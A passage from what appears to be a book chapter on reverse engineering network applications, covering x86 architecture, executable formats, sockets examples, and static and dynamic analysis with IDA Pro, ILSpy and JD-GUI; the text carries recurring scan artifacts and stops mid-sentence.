accessed as a general purpose register because it indicates the next address in memory where an instruction will be read from. The only way to change the value of the EIP register is by using a control instruction, such as CALL, JMP, or RET. For this discussion, the important control register is EFLAGS. EFLAGS contains a variety of Boolean flags that indicate the results of instruction execution, such as whether the last operation resulted in the value 0. These Boolean flags implement conditional branches on the x86 processor. For example, if you subtract two values and the result is 0, the Zero flag in the EFLAGS register will be set to 1, and flags that do not apply will be set to 0. The EFLAGS register also contains important system flags, such as whether interrupts are enabled. Not all instructions affect the value of EFLAGS. Table 6-3 lists the most important flag values, including the flag’s bit position, its common name, and a brief description. Technet24 |||||||||||||||||||| |||||||||||||||||||| Table 6-3: Important EFLAGS Status Flags Bit Name Description 0 Carry flag Indicates whether a carry bit was generated from the last operation 2 Parity flag The parity of the least-significant byte of the last operation 6 Zero flag Indicates whether the last operation has zero as its result; used in comparison operations 7 Sign flag Indicates the sign of the last operation; effectively, the most-significant bit of the result 11 Overflow flag Indicates whether the last operation overflowed Selector Registers The selector registers (CS, DS, ES, FS, GS, SS) address memory locations by indicating a specific block of memory into which you can read or write. The real memory address used in reading or writing the value is looked up in an internal CPU table. NOTE Selector registers are usually only used in operating system–specific operations. For example, on Windows, the FS register is used to access memory allocated to store the current thread’s control information. Memory is accessed using little endian byte order. Recall from Chapter 3 that little endian order means the least-significant byte is stored at the lowest memory address. Another important feature of the x86 architecture is that it doesn’t require its memory operations to be aligned. All reads and writes to main memory on an aligned processor architecture must be aligned to the size of the operation. For example, if you want to read a 32-bit value, you would have to read from a memory address that is a multiple of 4. On aligned architectures, such as SPARC, reading an unaligned address would generate an error. Conversely, the x86 architecture permits you to read from or write to any memory address regardless of alignment. Unlike architectures such as ARM, which use specialized instructions to load and store values between the CPU registers and main memory, many of the x86 instructions can take memory addresses as operands. In fact, the x86 supports a complex memory- addressing format for its instructions: each memory address reference can contain a base register, an index register, a multiplier for the index (between 1 and 8), or a 32-bit offset. For example, the following MOV instruction combines all four of these referencing |||||||||||||||||||| |||||||||||||||||||| options to determine which memory address contains the value to be copied into the EAX register: MOV EAX, [ESI + EDI * 8 + 0x50] ; Read 32-bit value from memory address When a complex address reference like this is used in an instruction, it’s common to see it enclosed in square brackets. Program Flow Program flow, or control flow, is how a program determines which instructions to execute. The x86 has three main types of program flow instructions: subroutine calling, conditional branches, and unconditional branches. Subroutine calling redirects the flow of the program to a subroutine—a specified sequence of instructions. This is achieved with the CALL instruction, which changes the EIP register to the location of the subroutine. CALL places the memory address of the next instruction onto the current stack, which tells the program flow where to return after it has performed its subroutine task. The return is performed using the RET instruction, which changes the EIP register to the top address in the stack (the one CALL put there). Conditional branches allow the code to make decisions based on prior operations. For example, the CMP instruction compares the values of two operands (perhaps two registers) and calculates the appropriate values for the EFLAGS register. Under the hood, the CMP instruction does this by subtracting one value from the other, setting the EFLAGS register as appropriate, and then discarding the result. The TEST instruction does the same except it performs an AND operation instead of a subtraction. After the EFLAGS value has been calculated, a conditional branch can be executed; the address it jumps to depends on the state of EFLAGS. For example, the JZ instruction will conditionally jump if the Zero flag is set (which would happen if, for instance, the CMP instruction compared two values that were equal); otherwise, the instruction is a no- operation. Keep in mind that the EFLAGS register can also be set by arithmetic and other instructions. For example, the SHL instruction shifts the value of a destination by a certain number of bits from low to high. Unconditional branching program flow is implemented through the JMP instruction, which just jumps unconditionally to a destination address. There’s not much more to be said about unconditional branching. Operating System Basics Understanding a computer’s architecture is important for both static and dynamic reverse engineering. Without this knowledge, it’s difficult to ever understand what a sequence of instructions does. But architecture is only part of the story: without the operating system Technet24 |||||||||||||||||||| |||||||||||||||||||| handling the computer’s hardware and processes, the instructions wouldn’t be very useful. Here I’ll explain some of the basics of how an operating system works, which will help you understand the processes of reverse engineering. Executable File Formats Executable file formats define how executable files are stored on disk. Operating systems need to specify the executables they support so they can load and run programs. Unlike earlier operating systems, such as MS-DOS, which had no restrictions on what file formats would execute (when run, files containing instructions would load directly into memory), modern operating systems have many more requirements that necessitate more complex formats. Some requirements of a modern executable format include: • Memory allocation for executable instructions and data • Support for dynamic linking of external libraries • Support for cryptographic signatures to validate the source of the executable • Maintenance of debug information to link executable code to the original source code for debugging purposes • A reference to the address in the executable file where code begins executing, commonly called the start address (necessary because the program’s start address might not be the first instruction in the executable file) Windows uses the Portable Executable (PE) format for all executables and dynamic libraries. Executables typically use the .exe extension, and dynamic libraries use the .dll extension. Windows doesn’t actually need these extensions for a new process to work correctly; they are used just for convenience. Most Unix-like systems, including Linux and Solaris, use the Executable Linking Format (ELF) as their primary executable format. The major exception is macOS, which uses the Mach-O format. Sections Memory sections are probably the most important information stored in an executable. All nontrivial executables will have at least three sections: the code section, which contains the native machine code for the executable; the data section, which contains initialized data that can be read and written during execution; and a special section to contain uninitialized data. Each section has a name that identifies the data it contains. The code section is usually called text, the data section is called data, and the uninitialized data is called bss. Every section contains four basic pieces of information: |||||||||||||||||||| |||||||||||||||||||| • A text name • A size and location of the data for the section contained in the executable file • The size and address in memory where the data should be loaded • Memory protection flags, which indicate whether the section can be written or executed when loaded into memory Processes and Threads An operating system must be able to run multiple instances of an executable concurrently without them conflicting. To do so, operating systems define a process, which acts as a container for an instance of a running executable. A process stores all the private memory the instance needs to operate, isolating it from other instances of the same executable. The process is also a security boundary, because it runs under a particular user of the operating system and security decisions can be made based on this identity. Operating systems also define a thread of execution, which allows the operating system to rapidly switch between multiple processes, making it seem to the user that they’re all running at the same time. This is called multitasking. To switch between processes, the operating system must interrupt what the CPU is doing, store the current process’s state, and restore an alternate process’s state. When the CPU resumes, it is running another process. A thread defines the current state of execution. It has its own block of memory for a stack and somewhere to store its state when the operating system stops the thread. A process will usually have at least one thread, and the limit on the number of threads in the process is typically controlled by the computer’s resources. To create a new process from an executable file, the operating system first creates an empty process with its own allocated memory space. Then the operating system loads the main executable into the process’s memory space, allocating memory based on the executable’s section table. Next, a new thread is created, which is called the main thread. The dynamic linking program is responsible for linking in the main executable’s system libraries before jumping back to the original start address. When the operating system launches the main thread, the process creation is complete. Operating System Networking Interface The operating system must manage a computer’s networking hardware so it can be shared between all running applications. The hardware knows very little about higher-level protocols, such as TCP/IP,2 so the operating system must provide implementations of these higher-level protocols. The operating system also needs to provide a way for applications to interface with the network. The most common network API is the Berkeley sockets model, originally developed Technet24 |||||||||||||||||||| |||||||||||||||||||| at the University of California, Berkeley in the 1970s for BSD. All Unix-like systems have built-in support for Berkeley sockets. On Windows, the Winsock library provides a very similar programming interface. The Berkeley sockets model is so prevalent that you’ll almost certainly encounter it on a wide range of platforms. Creating a Simple TCP Client Connection to a Server To get a better sense of how the sockets API works, Listing 6-1 shows how to create a simple TCP client connection to a remote server. int port = 12345; const char* ip = "1.2.3.4"; sockaddr_in addr = {0}; ➊ int s = socket(AF_INET, SOCK_STREAM, 0); addr.sin_family = PF_INET; ➋ addr.sin_port = htons(port); ➌ inet_pton(AF_INET, ip, &addr.sin_addr); ➍ if(connect(s, (sockaddr*) &addr, sizeof(addr)) == 0) { char buf[1024]; ➎ int len = recv(s, buf, sizeof(buf), 0); ➏ send(s, buf, len, 0); } close(s); Listing 6-1: A simple TCP network client The first API call ➊ creates a new socket. The AF_INET parameter indicates we want to use the IPv4 protocol. (To use IPv6 instead, we would write AF_INET6). The second parameter SOCK_STREAM indicates that we want to use a streaming connection, which for the internet means TCP. To create a UDP socket, we would write SOCK_DGRAM (for datagram socket). Next, we construct a destination address with addr, an instance of the system-defined sockaddr_in structure. We set up the address structure with the protocol type, the TCP port, and the TCP IP address. The call to inet_pton ➌ converts the string representation of the IP address in ip to a 32-bit integer. Note that when setting the port, the htons function is used ➋ to convert the value from host-byte-order (which for x86 is little endian) to network-byte-order (always big endian). This applies to the IP address as well. In this case, the IP address 1.2.3.4 will become the integer 0x01020304 when stored in big endian format. The final step is to issue the call to connect to the destination address ➍. This is the main point of failure, because at this point the operating system has to make an outbound call to the destination address to see whether anything is listening. When the new socket connection is established, the program can read and write data to the socket as if it were a |||||||||||||||||||| |||||||||||||||||||| file via the recv ➎ and send ➏ system calls. (On Unix-like systems, you can also use the general read and write calls, but not on Windows.) Creating a Client Connection to a TCP Server Listing 6-2 shows a snippet of the other side of the network connection, a very simple TCP socket server. sockaddr_in bind_addr = {0}; int s = socket(AF_INET, SOCK_STREAM, 0); bind_addr.sin_family = AF_INET; bind_addr.sin_port = htons(12345); ➊ inet_pton("0.0.0.0", &bind_addr.sin_addr); ➋ bind(s, (sockaddr*)&bind_addr, sizeof(bind_addr)); ➌ listen(s, 10); sockaddr_in client_addr; int socksize = sizeof(client_addr); ➍ int newsock = accept(s, (sockaddr*)&client_addr, &socksize); // Do something with the new socket Listing 6-2: A simple TCP socket server The first important step when connecting to a TCP socket server is to bind the socket to an address on the local network interface, as shown at ➊ and ➋. This is effectively the opposite of the client case in Listing 6-1 because inet_pton() ➊ just converts a string IP address to its binary form. The socket is bound to all network addresses, as signified by "0.0.0.0", although this could instead be a specific address on port 12345. Then, the socket is bound to that local address ➋. By binding to all interfaces, we ensure the server socket will be accessible from outside the current system, such as over the internet, assuming no firewall is in the way. Finally, the listing asks the network interface to listen for new incoming connections ➌ and calls accept ➍, which returns the next new connection. As with the client, this new socket can be read and written to using the recv and send calls. When you encounter native applications that use the operating system network interface, you’ll have to track down all these function calls in the executable code. Your knowledge of how programs are written at the C programming language level will prove valuable when you’re looking at your reversed code in a disassembler. Application Binary Interface The application binary interface (ABI) is an interface defined by the operating system to describe the conventions of how an application calls an API function. Most programming languages and operating systems pass parameters left to right, meaning that the leftmost Technet24 |||||||||||||||||||| |||||||||||||||||||| parameter in the original source code is placed at the lowest stack address. If the parameters are built by pushing them to a stack, the last parameter is pushed first. Another important consideration is how the return value is provided to the function’s caller when the API call is complete. In the x86 architecture, as long as the value is less than or equal to 32 bits, it’s passed back in the EAX register. If the value is between 32 and 64 bits, it’s passed back in a combination of EAX and EDX. Both EAX and EDX are considered scratch registers in the ABI, meaning that their register values are not preserved across function calls: in other words, when calling a function, the caller can’t rely on any value stored in these registers to still exist when the call returns. This model of designating registers as scratch is done for pragmatic reasons: it allows functions to spend less time and memory saving registers, which might not be modified anyway. In fact, the ABI specifies an exact list of which registers must be saved into a location on the stack by the called function. Table 6-4 contains a quick description of the typical register assignment’s purpose. The table also indicates whether the register must be saved when calling a function in order for the register to be restored to its original value before the function returns. Table 6-4: Saved Register List Register ABI usage Saved? EAX Used to pass the return value of the function No EBX General purpose register Yes ECX Used for local loops and counters, and sometimes used to pass object pointers in languages such as C++ No EDX Used for extended return values No EDI General purpose register Yes ESI General purpose register Yes EBP Pointer to the base of the current valid stack frame Yes ESP Pointer to the base of the stack Yes Figure 6-4 shows an add() function being called in the assembly code for the print_add() function: it places the parameters on the stack (PUSH 10), calls the add() function (CALL add), and then cleans up afterward (ADD ESP, 8). The result of the addition is passed back from add() through the EAX register, which is then printed to the console. |||||||||||||||||||| |||||||||||||||||||| Figure 6-4: Function calling in assembly code Static Reverse Engineering Now that you have a basic understanding of how programs execute, we’ll look at some methods of reverse engineering. Static reverse engineering is the process of dissecting an application executable to determine what it does. Ideally, we could reverse the compilation process to the original source code, but that’s usually too difficult to do. Instead, it’s more common to disassemble the executable. Rather than attacking a binary with only a hex editor and a machine code reference, you can use one of many tools to disassemble binaries. One such tool is the Linux-based objdump, which simply prints the disassembled output to the console or to a file. Then it’s up to you to navigate through the disassembly using a text editor. However, objdump isn’t very user friendly. Fortunately, there are interactive disassemblers that present disassembled code in a form that you can easily inspect and navigate. By far, the most fully featured of these is IDA Pro, which was developed by the Hex Rays company. IDA Pro is the go-to tool for static reversing, and it supports many common executable formats as well as almost any CPU architecture. The full version is pricey, but a free edition is also available. Although the free version only disassembles x86 code and can’t be used in a commercial environment, it’s perfect for getting you up to speed with a disassembler. You can download the free version of IDA Pro from the Hex Rays website at https://www.hex- rays.com/. The free version is only for Windows, but it should run well under Wine on Technet24 |||||||||||||||||||| |||||||||||||||||||| Linux or macOS. Let’s take a quick tour of how to use IDA Pro to dissect a simple network binary. A Quick Guide to Using IDA Pro Free Edition Once it’s installed, start IDA Pro and then choose the target executable by clicking File ▸ Open. The Load a new file window should appear (see Figure 6-5). This window displays several options, but most are for advanced users; you only need to consider certain important options. The first option allows you to choose the executable format you want to inspect ➊. The default in the figure, Portable executable, is usually the correct choice, but it’s always best to check. The Processor type ➋ specifies the processor architecture as the default, which is x86. This option is especially important when you’re disassembling binary data for unusual processor architectures. When you’re sure the options you chose are correct, click OK to begin disassembly. Your choices for the first and second options will depend on the executable you’re trying to disassemble. In this example, we’re disassembling a Windows executable that uses the PE format with an x86 processor. For other platforms, such as macOS or Linux, you’ll need to select the appropriate options. IDA will make its best efforts to detect the format necessary to disassemble your target, so normally you won’t need to choose. During disassembly, it will do its best to find all executable code, annotate the decompiled functions and data, and determine cross-references between areas of the disassembly. |||||||||||||||||||| |||||||||||||||||||| Figure 6-5: Options for loading a new file By default, IDA attempts to provide annotations for variable names and function parameters if it knows about them, such as when calling common API functions. For cross- references, IDA will find the locations in the disassembly where data and code are referenced: you can look these up when you’re reverse engineering, as you’ll soon see. Disassembly can take a long time. When the process is complete, you should have access to the main IDA interface, as shown in Figure 6-6. There are three important windows to pay attention to in IDA’s main interface. The window at ➋ is the default disassembly view. In this example, it shows the IDA Pro graph view, which is often a very useful way to view an individual function’s flow of execution. To display a native view showing the disassembly in a linear format based on the loading address of instructions, press the spacebar. The window at ➌ shows the status of the disassembly process as well as any errors that might occur if you try to perform an Technet24 |||||||||||||||||||| |||||||||||||||||||| operation in IDA that it doesn’t understand. The tabs of the open windows are at ➊. You can open additional windows in IDA by selecting View ▸ Open subviews. Here are some windows you’ll almost certainly need and what they display: IDA View Shows the disassembly of the executable Exports Shows any functions exported by the executable Imports Shows any functions dynamically linked into this executable at runtime Functions Shows a list of all functions that IDA Pro has identified Strings Shows a list of printable strings that IDA Pro has identified during analysis Figure 6-6: The main IDA Pro interface |||||||||||||||||||| |||||||||||||||||||| Figure 6-7: The back button for the IDA Pro disassembly window Of the five window types listed, the last four are basically just lists of information. The IDA View is where you’ll spend most of your time when you’re reverse engineering, because it shows you the disassembled code. You can easily navigate around the disassembly in IDA View. For example, double-click anything that looks like a function name or data reference to navigate automatically to the location of the reference. This technique is especially useful when you’re analyzing calls to other functions: for instance, if you see CALL sub_400100, just double-click the sub_400100 portion to be taken directly to the function. You can go to the original caller by pressing the ESC key or the back button, highlighted in Figure 6-7. In fact, you can navigate back and forth in the disassembly window as you would in a web browser. When you find a reference string in the text, move the text cursor to the reference and press X or right-click and choose Jump to xref to operand to bring up a cross-reference dialog that shows a list of all locations in the executable referencing that function or data value. Double-click an entry to navigate directly to the reference in the disassembly window. NOTE By default, IDA will generate automatic names for referenced values. For example, functions are named sub_XXXX, where XXXX is their memory address; the name loc_XXXX indicates branch locations in the current function or locations that are not contained in a function. These names may not help you understand what the disassembly is doing, but you can rename these references to make them more meaningful. To rename references, move the cursor to the reference text and press N or right-click and select Rename from the menu. The changes to the name should propagate everywhere it is referenced. Analyzing Stack Variables and Arguments Technet24 |||||||||||||||||||| |||||||||||||||||||| Another feature in IDA’s disassembly window is its analysis of stack variables and arguments. When I discussed calling conventions in “Application Binary Interface” on page 123, I indicated that parameters are generally passed on the stack, but that the stack also stores temporary local variables, which are used by functions to store important values that can’t fit into the available registers. IDA Pro will analyze the function and determine how many arguments it takes and which local variables it uses. Figure 6-8 shows these variables at the start of a disassembled function as well as a few instructions that use these variables. Figure 6-8: A disassembled function showing local variables and arguments You can rename these local variables and arguments and look up all their cross- references, but cross-references for local variables and arguments will stay within the same function. Identifying Key Functionality Next, you need to determine where the executable you’re disassembling handles the network protocol. The most straightforward way to do this is to inspect all parts of the executable in turn and determine what they do. But if you’re disassembling a large commercial product, this method is very inefficient. Instead, you’ll need a way to quickly identify areas of functionality for further analysis. In this section, I’ll discuss four typical approaches for doing so, including extracting symbolic information, looking up which libraries are imported into the executable, analyzing strings, and identifying automated code. Extracting Symbolic Information |||||||||||||||||||| |||||||||||||||||||| Compiling source code into a native executable is a lossy process, especially when the code includes symbolic information, such as the names of variables and functions or the form of in-memory structures. Because this information is rarely needed for a native executable to run correctly, the compilation process may just discard it. But dropping this information makes it very difficult to debug problems in the built executable. All compilers support the ability to convert symbolic information and generate debug symbols with information about the original source code line associated with an instruction in memory as well as type information for functions and variables. However, developers rarely leave in debug symbols intentionally, choosing instead to remove them before a public release to prevent people from discovering their proprietary secrets (or bad code). Still, sometimes developers slip up, and you can take advantage of those slipups to aid reverse engineering. IDA Pro loads debug symbols automatically whenever possible, but sometimes you’ll need to hunt down the symbols on your own. Let’s look at the debug symbols used by Windows, macOS, and Linux, as well as where the symbolic information is stored and how to get IDA to load it correctly. When a Windows executable is built using common compilers (such as Microsoft Visual C++), the debug symbol information isn’t stored inside the executable; instead, it’s stored in a section of the executable that provides the location of a program database (PDB) file. In fact, all the debug information is stored in this PDB file. The separation of the debug symbols from the executable makes it easy to distribute the executable without debug information while making that information readily available for debugging. PDB files are rarely distributed with executables, at least in closed-source software. But one very important exception is Microsoft Windows. To aid debugging efforts, Microsoft releases public symbols for most executables installed as part of Windows, including the kernel. Although these PDB files don’t contain all the debug information from the compilation process (Microsoft strips out information they don’t want to make public, such as detailed type information), the files still contain most of the function names, which is often what you want. The upshot is that when reverse engineering Windows executables, IDA Pro should automatically look up the symbol file on Microsoft’s public symbol server and process it. If you happen to have the symbol file (because it came with the executable), load it by placing it next to the executable in a directory and then have IDA Pro disassemble the executable. You can also load PDB files after initial disassembly by selecting File ▸ Load File ▸ PDB File. Debug symbols are most significant in reverse engineering in IDA Pro when naming functions in the disassembly and Functions windows. If the symbols also contain type information, you should see annotations on the function calls that indicate the types of parameters, as shown in Figure 6-9. Technet24 |||||||||||||||||||| |||||||||||||||||||| Figure 6-9: Disassembly with debug symbols Even without a PDB file, you might be able to access some symbolic information from the executable. Dynamic libraries, for example, must export some functions for another executable to use: that export will provide some basic symbolic information, including the names of the external functions. From that information, you should be able to drill down to find what you’re looking for in the Exports window. Figure 6-10 shows what this information would look like for the ws2_32.dll Windows network library. |||||||||||||||||||| |||||||||||||||||||| Figure 6-10: Exports from the ws2_32.dll library Debug symbols work similarly on macOS, except debugging information is contained in a debugging symbols package (dSYM), which is created alongside the executable rather than in a single PDB file. The dSYM package is a separate macOS package directory and is rarely distributed with commercial applications. However, the Mach-O executable format can store basic symbolic information, such as function and data variable names, in the executable. A developer can run a tool called Strip, which will remove all this symbolic information from a Mach-O binary. If they do not run Strip, then the Mach-O binary may still contain useful symbolic information for reverse engineering. On Linux, ELF executable files package all debug and other symbolic information into a single executable file by placing debugging information into its own section in the executable. As with macOS, the only way to remove this information is with the Strip tool; if the developer fails to do so before release, you might be in luck. (Of course, you’ll have access to the source code for most programs running on Linux.) Viewing Imported Libraries On a general purpose operating system, calls to network APIs aren’t likely to be built directly into the executable. Instead, functions will be dynamically linked at runtime. To determine what an executable imports dynamically, view the Imports window in IDA Pro, as shown in Figure 6-11. In the figure, various network APIs are imported from the ws2_32.dll library, which is Technet24 |||||||||||||||||||| |||||||||||||||||||| the BSD sockets implementation for Windows. When you double-click an entry, you should see the import in a disassembly window. From there, you can find references to that function by using IDA Pro to show the cross-references to that address. Figure 6-11: The Imports window In addition to network functions, you might also see that various cryptographic libraries have been imported. Following these references can lead you to where encryption is used in the executable. By using this imported information, you may be able to trace back to the original callee to find out how it’s been used. Common encryption libraries include OpenSSL and the Windows Crypt32.dll. Analyzing Strings Most applications contain strings with printable text information, such as text to display during application execution, text for logging purposes, or text left over from the debugging process that isn’t used. The text, especially internal debug information, might hint at what a disassembled function is doing. Depending on how the developer added debug information, you might find the function name, the original C source code file, or even the line number in the source code where the debug string was printed. (Most C and C++ compilers support a syntax to embed these values into a string during compilation.) IDA Pro tries to find printable text strings as part of its analysis process. To display these strings, open the Strings window. Click a string of interest, and you’ll see its definition. Then you can attempt to find references to the string that should allow you to |||||||||||||||||||| |||||||||||||||||||| trace back to the functionality associated with it. String analysis is also useful for determining which libraries an executable was statically linked with. For example, the ZLib compression library is commonly statically linked, and the linked executable should always contain the following string (the version number might differ): inflate 1.2.8 Copyright 1995-2013 Mark Adler By quickly discovering which libraries are included in an executable, you might be able to successfully guess the structure of the protocol. Identifying Automated Code Certain types of functionality lend themselves to automated identification. For example, encryption algorithms typically have several magic constants (numbers defined by the algorithm that are chosen for particular mathematical properties) as part of the algorithm. If you find these magic constants in the executable, you know a particular encryption algorithm is at least compiled into the executable (though it isn’t necessarily used). For example, Listing 6-3 shows the initialization of the MD5 hashing algorithm, which uses magic constant values. void md5_init( md5_context *ctx ) { ctx->state[0] = 0x67452301; ctx->state[1] = 0xEFCDAB89; ctx->state[2] = 0x98BADCFE; ctx->state[3] = 0x10325476; } Listing 6-3: MD5 initialization showing magic constants Armed with knowledge of the MD5 algorithm, you can search for this initialization code in IDA Pro by selecting a disassembly window and choosing Search ▸ Immediate value. Complete the dialog as shown in Figure 6-12 and click OK. Technet24 |||||||||||||||||||| |||||||||||||||||||| Figure 6-12: The IDA Pro search box for MD5 constant If MD5 is present, your search should display a list of places where that unique value is found. Then you can switch to the disassembly window to try to determine what code uses that value. You can also use this technique with algorithms, such as the AES encryption algorithm, which uses special s-box structures that contain similar magic constants. However, locating algorithms using IDA Pro’s search box can be time consuming and error prone. For example, the search in Figure 6-12 will pick up MD5 as well as SHA-1, which uses the same four magic constants (and adds a fifth). Fortunately, there are tools that can do these searches for you. One example, PEiD (available from http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml), determines whether a Windows PE file is packed with a known packing tool, such as UPX. It includes a few plug-ins, one of which will detect potential encryption algorithms and indicate where in the executable they are referenced. To use PEiD to detect cryptographic algorithms, start PEiD and click the top-right button … to choose a PE executable to analyze. Then run the plug-in by clicking the button on the bottom right and selecting Plugins ▸ Krypto Analyzer. If the executable contains any cryptographic algorithms, the plug-in should identify them and display a dialog like the one in Figure 6-13. You can then enter the referenced address value ➊ into |||||||||||||||||||| |||||||||||||||||||| IDA Pro to analyze the results. Figure 6-13: The result of PEiD cryptographic algorithm analysis Dynamic Reverse Engineering Dynamic reverse engineering is about inspecting the operation of a running executable. This method of reversing is especially useful when analyzing complex functionality, such as custom cryptography or compression routines. The reason is that instead of staring at the disassembly of complex functionality, you can step through it one instruction at a time. Dynamic reverse engineering also lets you test your understanding of the code by allowing you to inject test inputs. The most common way to perform dynamic reverse engineering is to use a debugger to halt a running application at specific points and inspect data values. Although several debugging programs are available to choose from, we’ll use IDA Pro, which contains a basic debugger for Windows applications and synchronizes between the static and debugger view. For example, if you rename a function in the debugger, that change will be reflected in the static disassembly. NOTE Although I use IDA Pro on Windows in the following discussion, the basic techniques are Technet24 |||||||||||||||||||| |||||||||||||||||||| applicable to other operating systems and debuggers. To run the currently disassembled executable in IDA Pro’s debugger, press F9. If the executable needs command line arguments, add them by selecting Debugger ▸ Process Options and filling in the Parameters text box in the displayed dialog. To stop debugging a running process, press CTRL-F2. Setting Breakpoints The simplest way to use a debugger’s features is to set breakpoints at places of interest in the disassembly, and then inspect the state of the running program at these breakpoints. To set a breakpoint, find an area of interest and press F2. The line of disassembly should turn red, indicating that the breakpoint has been set correctly. Now, whenever the program tries to execute the instruction at that breakpoint, the debugger should stop and give you access to the current state of the program. Debugger Windows By default, the IDA Pro debugger shows three important windows when the debugger hits a breakpoint. The EIP Window The first window displays a disassembly view based on the instruction in the EIP register that shows the instruction currently being executed (see Figure 6-14). This window works much like the disassembly window does while doing static reverse engineering. You can quickly navigate from this window to other functions and rename references (which are reflected in your static disassembly). When you hover the mouse over a register, you should see a quick preview of the value, which is very useful if the register points to a memory address. |||||||||||||||||||| |||||||||||||||||||| Figure 6-14: The debugger EIP window The ESP Window The debugger also shows an ESP window that reflects the current location of the ESP register, which points to the base of the current thread’s stack. Here is where you can identify the parameters being passed to function calls or the value of local variables. For example, Figure 6-15 shows the stack values just before calling the send function. I’ve highlighted the four parameters. As with the EIP window, you can double-click references to navigate to that location. Technet24 |||||||||||||||||||| |||||||||||||||||||| Figure 6-15: The debugger ESP window The State of the General Purpose Registers The General registers default window shows the current state of the general purpose registers. Recall that registers are used to store the current values of various program states, such as loop counters and memory addresses. For memory addresses, this window provides a convenient way to navigate to a memory view window: click the arrow next to each address to navigate from the last active memory window to the memory address corresponding to that register value. To create a new memory window, right-click the array and select Jump in new window. You’ll see the condition flags from the EFLAGS register on the right side of the window, as shown in Figure 6-16. |||||||||||||||||||| |||||||||||||||||||| Figure 6-16: The General registers window Where to Set Breakpoints? Where are the best places to set breakpoints when you’re investigating a network protocol? A good first step is to set breakpoints on calls to the send and recv functions, which send and receive data from the network stack. Cryptographic functions are also a good target: you can set breakpoints on functions that set the encryption key or the encryption and decryption functions. Because the debugger synchronizes with the static disassembler in IDA Pro, you can also set breakpoints on code areas that appear to be building network protocol data. By stepping through instructions with breakpoints, you can better understand how the underlying algorithms work. Reverse Engineering Managed Languages Not all applications are distributed as native executables. For example, applications written in managed languages like .NET and Java compile to an intermediate machine language, which is commonly designed to be CPU and operating system agnostic. When the application is executed, a virtual machine or runtime executes the code. In .NET this intermediate machine language is called common intermediate language (CIL); in Java it’s called Java byte code. These intermediate languages contain substantial amounts of metadata, such as the names of classes and all internal- and external-facing method names. Also, unlike for native-compiled code, the output of managed languages is fairly predictable, which makes them ideal for decompiling. Technet24 |||||||||||||||||||| |||||||||||||||||||| In the following sections, I’ll examine how .NET and Java applications are packaged. I’ll also demonstrate a few tools you can use to reverse engineer .NET and Java applications efficiently. .NET Applications The .NET runtime environment is called the common language runtime (CLR). A .NET application relies on the CLR as well as a large library of basic functionality called the base class library (BCL). Although .NET is primarily a Microsoft Windows platform (it is developed by Microsoft after all), a number of other, more portable versions are available. The best known is the Mono Project, which runs on Unix-like systems and covers a wide range of CPU architectures, including SPARC and MIPS. If you look at the files distributed with a .NET application, you’ll see files with .exe and .ddl extensions, and you’d be forgiven for assuming they’re just native executables. But if you load these files into an x86 disassembler, you’ll be greeted with a message similar to the one shown in Figure 6-17. Figure 6-17: A .NET executable in an x86 disassembler As it turns out, .NET only uses the .exe and .dll file formats as convenient containers for the CIL code. In the .NET runtime, these containers are referred to as assemblies. Assemblies contain one or more classes, enumerations, and/or structures. Each type is referred to by a name, typically consisting of a namespace and a short name. The |||||||||||||||||||| |||||||||||||||||||| namespace reduces the likelihood of conflicting names but can also be useful for categorization. For example, any types under the namespace System.Net deal with network functionality. Using ILSpy You’ll rarely, if ever, need to interact with raw CIL because tools like Reflector (https://www.red-gate.com/products/dotnet-development/reflector/) and ILSpy (http://ilspy.net/) can decompile CIL data into C# or Visual Basic source and display the original CIL. Let’s look at how to use ILSpy, a free open source tool that you can use to find an application’s network functionality. Figure 6-18 shows ILSpy’s main interface. The interface is split into two windows. The left window ➊ is a tree-based listing of all assemblies that ILSpy has loaded. You can expand the tree view to see the namespaces and the types an assembly contains ➋. The right window shows disassembled source code ➌. The assembly you select in the left window is expanded on the right. To work with a .NET application, load it into ILSpy by pressing CTRL+O and selecting the application in the dialog. If you open the application’s main executable file, ILSpy should automatically load any assembly referenced in the executable as necessary. With the application open, you can search for the network functionality. One way to do so is to search for types and members whose names sound like network functions. To search all loaded assemblies, press F3. A new window should appear on the right side of your screen, as shown in Figure 6-19. Technet24 |||||||||||||||||||| |||||||||||||||||||| Figure 6-18: The ILSpy main interface Figure 6-19: The ILSpy Search window Enter a search term at ➊ to filter out all loaded types and display them in the window below. You can also search for members or constants by selecting them from the drop- down list at ➋. For example, to search for literal strings, select Constant. When you’ve found an entry you want to inspect, such as TcpNetworkListener ➌, double-click it and ILSpy should automatically decompile the type or method. Rather than directly searching for specific types and members, you can also search an application for areas that use built-in network or cryptography libraries. The base class library contains a large set of low-level socket APIs and libraries for higher-level protocols, such as HTTP and FTP. If you right-click a type or member in the left window and select Analyze, a new window should appear, as shown at the right side of Figure 6-20. |||||||||||||||||||| |||||||||||||||||||| Figure 6-20: ILSpy analyzing a type This new window is a tree, which when expanded, shows the types of analyses that can be performed on the item you selected in the left window. Your options will depend on what you selected to analyze. For example, analyzing a type ➊ shows three options, although you’ll typically only need to use the following two forms of analysis: Instantiated By Shows which methods create new instances of this type Exposed By Shows which methods or properties use this type in their declaration or parameters If you analyze a member, a method, or a property, you’ll get two options ➋: Uses Shows what other members or types the selected member uses Used By Shows what other members use the selected member (say, by calling the method) You can expand all entries ➌. And that’s pretty much all there is to statically analyzing a .NET application. Find some code of interest, inspect the decompiled code, and then start analyzing the network protocol. NOTE Technet24 |||||||||||||||||||| |||||||||||||||||||| Most of .NET’s core functionality is in the base class library distributed with the .NET runtime environment and available to all .NET applications. The assemblies in the BCL provide several basic network and cryptographic libraries, which applications are likely to need if they implement a network protocol. Look for areas that reference types in the System.Net and System.Security.Cryptography namespaces. These are mostly implemented in the MSCORLIB and System assemblies. If you can trace back from calls to these important APIs, you’ll discover where the application handles the network protocol. Java Applications Java applications differ from .NET applications in that the Java compiler doesn’t merge all types into a single file; instead, it compiles each source code file into a single Class file with a .class extension. Because separate Class files in filesystem directories aren’t very convenient to transfer between systems, Java applications are often packaged into a Java archive, or JAR. A JAR file is just a ZIP file with a few additional files to support the Java runtime. Figure 6-21 shows a JAR file opened in a ZIP decompression program. Figure 6-21: An example JAR file opened with a ZIP application To decompile Java programs, I recommend using JD-GUI (http://jd.benow.ca/), which works in essentially the same as ILSpy when decompiling .NET applications. I won’t cover using JD-GUI in depth but will just highlight a few important areas of the user interface in Figure 6-22 to get you up to speed. |||||||||||||||||||| |||||||||||||||||||| Figure 6-22: JD-GUI with an open JAR File Figure 6-22 shows the JD-GUI user interface when you open the JAR file jce.jar ➊, which is installed by default when you install Java and can usually be found in JAVAHOME/lib. You can open individual class files or 